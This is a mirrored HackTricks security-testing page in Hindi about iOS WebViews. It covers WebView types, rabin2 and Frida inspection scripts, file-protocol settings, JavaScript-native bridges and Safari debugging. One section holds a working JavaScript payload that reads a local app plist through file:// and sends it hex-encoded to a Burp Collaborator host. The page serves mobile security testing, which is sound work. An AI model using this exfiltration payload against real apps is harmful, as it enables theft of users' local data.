mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-08 11:18:52 +00:00
286 lines
28 KiB
Markdown
286 lines
28 KiB
Markdown
# iOS वेबव्यू
|
|
|
|
<details>
|
|
|
|
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
|
|
|
|
HackTricks का समर्थन करने के अन्य तरीके:
|
|
|
|
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
|
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके।
|
|
|
|
</details>
|
|
|
|
इस पृष्ठ का कोड [यहाँ से](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) निकाला गया था। अधिक विवरण के लिए पृष्ठ की जाँच करें।
|
|
|
|
|
|
## वेबव्यू प्रकार
|
|
|
|
ऐप्लिकेशन में वेब सामग्री को इंटरैक्टिव रूप से प्रदर्शित करने के लिए वेबव्यू का उपयोग किया जाता है। iOS ऐप्लिकेशनों के लिए विभिन्न प्रकार के वेबव्यू विभिन्न कार्यक्षमताएं और सुरक्षा सुविधाएं प्रदान करते हैं। यहाँ एक संक्षिप्त अवलोकन है:
|
|
|
|
- **UIWebView**, जिसे iOS 12 के बाद अब अनुशंसित नहीं माना जाता है क्योंकि इसमें **JavaScript** को अक्षम करने के लिए समर्थन की कमी होती है, जिससे यह स्क्रिप्ट इन्जेक्शन और **Cross-Site Scripting (XSS)** हमलों के लिए संवेदनशील हो जाता है।
|
|
|
|
- **WKWebView** ऐप्स में वेब सामग्री को शामिल करने के लिए पसंदीदा विकल्प है, जो सामग्री और सुरक्षा सुविधाओं पर बेहतर नियंत्रण प्रदान करता है। **JavaScript** डिफ़ॉल्ट रूप से सक्षम है, लेकिन आवश्यकता होने पर इसे अक्षम किया जा सकता है। यह यह भी समर्थन प्रदान करता है कि JavaScript स्वचालित रूप से विंडोज़ खोलने से रोकने की विशेषताएँ और सुनिश्चित करता है कि सभी सामग्री सुरक्षित रूप से लोड हो। इसके अतिरिक्त, **WKWebView** की वास्तविकता मुख्य ऐप प्रक्रिया पर प्रभाव डालने वाले स्मृति संरूपण के जोखिम को कम करती है।
|
|
|
|
- **SFSafariViewController** ऐप्स में मानकीकृत वेब ब्राउज़िंग अनुभव प्रदान करता है, जिसे इसके विशेष लेआउट के द्वारा पहचाना जाता है जिसमें एक केवल पठनीय पता क्षेत्र, साझा और नेविगेशन बटन, और सीधा लिंक शामिल हैं। **SFSafariViewController** में **JavaScript** को अक्षम नहीं किया जा सकता, जो भी Safari के साथ कुकीज़ और डेटा साझा करता है, ऐप से उपयोगकर्ता की गोपनीयता को बनाए रखता है। इसे ऐप स्टोर दिशानिर्देशों के अनुसार प्रमुख रूप से प्रदर्शित किया जाना चाहिए।
|
|
```objetivec
|
|
// Example of disabling JavaScript in WKWebView:
|
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
|
preferences.javaScriptEnabled = NO;
|
|
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|
config.preferences = preferences;
|
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
|
```
|
|
## वेबव्यू कॉन्फ़िगरेशन अन्वेषण सारांश
|
|
|
|
### **स्थिर विश्लेषण अवलोकन**
|
|
|
|
**WebViews** कॉन्फ़िगरेशन की जांच की प्रक्रिया में, दो प्रमुख प्रकार पर ध्यान केंद्रित हैं: **UIWebView** और **WKWebView**। इन वेबव्यू को एक बाइनरी में पहचानने के लिए, कमांड का उपयोग किया जाता है, विशिष्ट क्लास संदर्भों और प्रारंभीकरण विधियों की खोज के लिए।
|
|
|
|
- **UIWebView पहचान**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|
```
|
|
यह कमांड बाइनरी में इससे संबंधित पाठ स्ट्रिंग की खोज करके **UIWebView** की घटनाओं को ढूंढने में मदद करता है।
|
|
|
|
- **WKWebView पहचान**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|
```
|
|
इसी तरह, **WKWebView** के लिए, यह कमांड इसके उपयोग की संकेतक टेक्स्ट स्ट्रिंग के लिए बाइनरी में खोज करता है।
|
|
|
|
इसके अतिरिक्त, **WKWebView** कैसे आरंभ किया जाता है, यह पता करने के लिए निम्नलिखित कमांड को निष्पादित किया जाता है, जो इसके आरंभ से संबंधित मेथड सिग्नेचर को लक्षित करता है:
|
|
```bash
|
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|
```
|
|
#### **जावास्क्रिप्ट कॉन्फ़िगरेशन सत्यापन**
|
|
|
|
**WKWebView** के लिए, यह जोर दिया गया है कि जब तक आवश्यक न हो, तब तक जावास्क्रिप्ट को अक्षम करना एक बेहतर प्रथा है। कंपाइल किया गया बाइनरी खोजा जाता है ताकि सुनिश्चित किया जा सके कि `javaScriptEnabled` प्रॉपर्टी को `false` पर सेट किया गया है, जिससे यह सुनिश्चित हो कि जावास्क्रिप्ट अक्षम है:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|
```
|
|
#### **केवल सुरक्षित सामग्री सत्यापन**
|
|
|
|
**WKWebView** मिश्रित सामग्री समस्याओं की पहचान की क्षमता प्रदान करता है, **UIWebView** के विपरीत। इसे सुनिश्चित करने के लिए `hasOnlySecureContent` गुण का उपयोग किया जाता है कि सभी पृष्ठ संसाधन सुरक्षित कनेक्शन के माध्यम से लोड किए गए हैं। संकलित बाइनरी में खोज इस प्रकार से की जाती है:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
|
```
|
|
### **डायनामिक विश्लेषण अंतर्दृष्टि**
|
|
|
|
डायनामिक विश्लेषण में हीप की जांच शामिल है WebView उदाहरणों और उनकी गुणधर्मों के लिए। इस उद्देश्य के लिए `webviews_inspector.js` नामक एक स्क्रिप्ट का उपयोग किया जाता है, जो `UIWebView`, `WKWebView`, और `SFSafariViewController` उदाहरणों को लक्षित करता है। यह पाए गए उदाहरणों के बारे में जानकारी लॉग करता है, जिसमें URL और JavaScript और सुरक्षित सामग्री से संबंधित सेटिंग्स शामिल हैं।
|
|
|
|
हीप जांच को `ObjC.choose()` का उपयोग करके किया जा सकता है ताकि WebView उदाहरणों की पहचान की जा सके और `javaScriptEnabled` और `hasonlysecurecontent` गुणधर्मों की जांच की जा सके।
|
|
```objetivec
|
|
ObjC.choose(ObjC.classes['UIWebView'], {
|
|
onMatch: function (ui) {
|
|
console.log('onMatch: ', ui);
|
|
console.log('URL: ', ui.request().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for UIWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
|
onMatch: function (sf) {
|
|
console.log('onMatch: ', sf);
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for SFSafariViewController!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
}
|
|
});
|
|
```
|
|
{% endcode %}
|
|
|
|
स्क्रिप्ट निम्नलिखित के साथ निष्पादित किया जाता है:
|
|
```bash
|
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
```
|
|
**मुख्य परिणाम**:
|
|
- वेबव्यू की घटनाएं सफलतापूर्वक पता लगाई और जांची गई।
|
|
- जावास्क्रिप्ट सक्षमता और सुरक्षित सामग्री सेटिंग सत्यापित की गई।
|
|
|
|
यह सारांश WebView कॉन्फ़िगरेशन का विश्लेषण करने के महत्वपूर्ण चरणों और आदेशों को संक्षेपित करता है, स्थिर और गतिशील दृष्टिकोणों के माध्यम से, जैसे कि जावास्क्रिप्ट सक्षमता और मिश्रित सामग्री की पहचान।
|
|
|
|
## WebView Protocol Handling
|
|
|
|
WebView में सामग्री का हैंडलिंग एक महत्वपूर्ण पहलू है, विशेष रूप से जब `http(s)://`, `file://`, और `tel://` जैसे विभिन्न प्रोटोकॉल का सामना किया जाता है। ये प्रोटोकॉल ऐप्स के भीतर दूरस्थ और स्थानीय सामग्री को लोड करने की संभावना प्रदान करते हैं। जब स्थानीय सामग्री लोड की जाती है, तो उपयोगकर्ताओं को फ़ाइल के नाम या पथ पर प्रभाव डालने से और सामग्री को संपादित करने से बचाने के लिए सावधानियां लेनी चाहिए।
|
|
|
|
**WebViews** सामग्री लोड करने के लिए विभिन्न विधियाँ प्रदान करते हैं। **UIWebView** के लिए, जो अब विचारशील है, विध
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
|
```
|
|
संबंधित **फ़ाइल एक्सेस** के मामले में, UIWebView इसे सार्वत्रिक रूप से अनुमति देता है, जबकि WKWebView `allowFileAccessFromFileURLs` और `allowUniversalAccessFromFileURLs` सेटिंग को प्रस्तुत करता है जो फ़ाइल URLs से एक्सेस को प्रबंधित करने के लिए होते हैं, जिनमें दोनों डिफ़ॉल्ट रूप से गलत हैं।
|
|
|
|
एक फ्रिडा स्क्रिप्ट उदाहरण प्रदान किया गया है जो सुरक्षा सेटिंग्स के लिए **WKWebView** की जांच करने के लिए है:
|
|
```bash
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
|
console.log('allowFileAccessFromFileURLs: ',
|
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
console.log('allowUniversalAccessFromFileURLs: ',
|
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
```
|
|
अंत में, एक जावास्क्रिप्ट पेलोड का उदाहरण जो स्थानीय फ़ाइलों को बाहर ले जाने का लक्ष्य रखता है, गलत ढंग से कॉन्फ़िगर किए गए वेबव्यूज़ के साथ जुड़ी संभावित सुरक्षा जोखिम को दर्शाता है। इस पेलोड ने फ़ाइल सामग्री को हेक्स प्रारूप में एन्कोड किया पहले उन्हें सर्वर को भेजने से पहले, WebView के कार्यान्वयन में कड़ी सुरक्षा उपायों की महत्वपूर्णता को उजागर किया।
|
|
```javascript
|
|
String.prototype.hexEncode = function(){
|
|
var hex, i;
|
|
var result = "";
|
|
for (i=0; i<this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16);
|
|
result += ("000"+hex).slice(-4);
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest();
|
|
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
|
xhr2.send(null);
|
|
}
|
|
}
|
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
|
xhr.send(null);
|
|
```
|
|
## वेबव्यूज़ के माध्यम से उजागरित नेटिव विधियाँ
|
|
|
|
## iOS में WebView नेटिव इंटरफेस को समझना
|
|
|
|
iOS 7 के बाद, Apple ने **WebView में JavaScript और नेटिव** Swift या Objective-C ऑब्जेक्ट्स के बीच संचार के लिए API प्रदान की। यह एकीकरण मुख्य रूप से दो विधियों के माध्यम से सुविधित है:
|
|
|
|
- **JSContext**: जब एक Swift या Objective-C ब्लॉक को `JSContext` के भीतर एक पहचानकर्ता से जोड़ा जाता है, तो एक JavaScript फ़ंक्शन स्वचालित रूप से बनाया जाता है। यह JavaScript और नेटिव कोड के बीच संवाद और संचार की सुविधा प्रदान करता है।
|
|
- **JSExport Protocol**: `JSExport` प्रोटोकॉल को विरासत में लेकर, नेटिव गुण, उदाहरण विधियाँ, और कक्ष विधियाँ JavaScript को उजागर की जा सकती हैं। इसका मतलब है कि जो कोई भी परिवर्तन JavaScript वातावरण में किया जाता है, वह नेटिव वातावरण में प्रतिबिम्बित होता है, और उल्टा। हालांकि, यह महत्वपूर्ण है कि इस विधि के माध्यम से अनजाने में संवेदनशील डेटा उजागर न हो।
|
|
|
|
### Objective-C में `JSContext` तक पहुंचना
|
|
|
|
Objective-C में, `UIWebView` के लिए `JSContext` को निम्नलिखित कोड लाइन के साथ प्राप्त किया जा सकता है:
|
|
```objc
|
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
|
```
|
|
### `WKWebView` के साथ संचार
|
|
|
|
`WKWebView` के लिए, `JSContext` तक पहुंच सीधे उपलब्ध नहीं है। इसके बजाय, `postMessage` फ़ंक्शन के माध्यम से संदेश पारित किया जाता है, जिससे JavaScript को native संचार संभव होता है। इन संदेशों के लिए हैंडलर निम्नलिखित रूप में सेट किए जाते हैं, जिससे JavaScript को native एप्लिकेशन के साथ सुरक्षित रूप से बातचीत करने में सक्षम होता है:
|
|
```swift
|
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
|
options_dict["javaScriptBridge"]?.value = enabled
|
|
let userContentController = wkWebViewConfiguration.userContentController
|
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
|
|
|
if enabled {
|
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
|
}
|
|
}
|
|
```
|
|
### इंटरेक्शन और परीक्षण
|
|
|
|
JavaScript नेटिव लेयर के साथ बातचीत कर सकता है एक स्क्रिप्ट संदेश हैंडलर को परिभाषित करके। इससे वेबपेज से नेटिव फ़ंक्शन को बुलाने जैसे कार्य करने की अनुमति होती है:
|
|
```javascript
|
|
function invokeNativeOperation() {
|
|
value1 = document.getElementById("value1").value
|
|
value2 = document.getElementById("value2").value
|
|
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
|
}
|
|
|
|
// Alternative method for calling exposed JavaScript functions
|
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
|
```
|
|
एक नेटिव फंक्शन कॉल के परिणाम को कैप्चर और मैनिपुलेट करने के लिए, व्यक्ति HTML के भीतर कॉलबैक फंक्शन को ओवरराइड कर सकता है:
|
|
```html
|
|
<html>
|
|
<script>
|
|
document.location = "javascriptbridge://getSecret"
|
|
function javascriptBridgeCallBack(name, result) {
|
|
alert(result);
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
नेटिव साइड जावास्क्रिप्ट कॉल का प्रबंधन करता है जैसा कि `JavaScriptBridgeMessageHandler` कक्षा में दिखाया गया है, जहां नंबर को गुणा करने जैसे कार्यों का परिणाम प्रसंस्कृत किया जाता है और जावास्क्रिप्ट को प्रदर्शन या आगे की प्रक्रिया के लिए वापस भेजा जाता है:
|
|
```swift
|
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|
// Handling "multiplyNumbers" operation
|
|
case "multiplyNumbers":
|
|
let arg1 = Double(messageArray[1])!
|
|
let arg2 = Double(messageArray[2])!
|
|
result = String(arg1 * arg2)
|
|
// Callback to JavaScript
|
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|
}
|
|
```
|
|
## iOS WebViews को Debug करना
|
|
|
|
(ट्यूटोरियल [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews) पर आधारित)
|
|
|
|
iOS वेबव्यू में वेब सामग्री को प्रभावी ढंग से Debug करने के लिए, Safari के डेवलपर टूल्स का एक विशेष सेटअप की आवश्यकता है क्योंकि `console.log()` को भेजे गए संदेश Xcode लॉग में प्रदर्शित नहीं होते हैं। यहां एक सरल गाइड है, मुख्य चरणों और आवश्यकताओं पर जोर देते हुए:
|
|
|
|
- **iOS डिवाइस पर तैयारी**: Safari Web Inspector को अपने iOS डिवाइस पर सक्रिय किया जाना चाहिए। इसे करने के लिए **सेटिंग्स > Safari > Advanced** पर जाएं, और _Web Inspector_ को सक्षम करें।
|
|
|
|
- **macOS डिवाइस पर तैयारी**: अपने macOS डेवलपमेंट मशीन पर, आपको Safari के अंदर डेवलपर टूल्स को सक्षम करना होगा। Safari लॉन्च करें, **Safari > Preferences > Advanced** तक पहुंचें, और _Show Develop menu_ विकल्प को चुनें।
|
|
|
|
- **कनेक्शन और Debugging**: अपने iOS डिवाइस को अपने macOS कंप्यूटर से कनेक्ट करने के बाद और अपने एप्लिकेशन को लॉन्च करने के बाद, अपने macOS डिवाइस पर Safari का उपयोग करके वेबव्यू का Debug करना है। Safari के मेनू बार में _Develop_ पर जाएं, अपने iOS डिवाइस के नाम पर होवर करें ताकि वेबव्यू इंस्टेंसेस की सूची देखें, और जिस इंस्टेंस को आप जांचना चाहते हैं, उसे चुनें। इस उद्देश्य के लिए एक नया Safari Web Inspector विंडो खुल जाएगा।
|
|
|
|
हालांकि, सीमाओं का ध्यान रखें:
|
|
|
|
- इस तरीके से Debug करने के लिए एक macOS डिवाइस की आवश्यकता है क्योंकि यह Safari पर निर्भर है।
|
|
- केवल Xcode के माध्यम से आपके डिवाइस पर लोड की गई एप्लिकेशन में वेबव्यू Debug के लिए पात्र हैं। एप्लिकेशन स्टोर या Apple Configurator के माध्यम से इंस्टॉल की गई एप्लिकेशनों में वेबव्यू को इस तरह से Debug नहीं किया जा सकता।
|
|
|
|
## संदर्भ
|
|
|
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
|
|
|
<details>
|
|
|
|
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
HackTricks का समर्थन करने के अन्य तरीके:
|
|
|
|
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।
|
|
|
|
</details>
|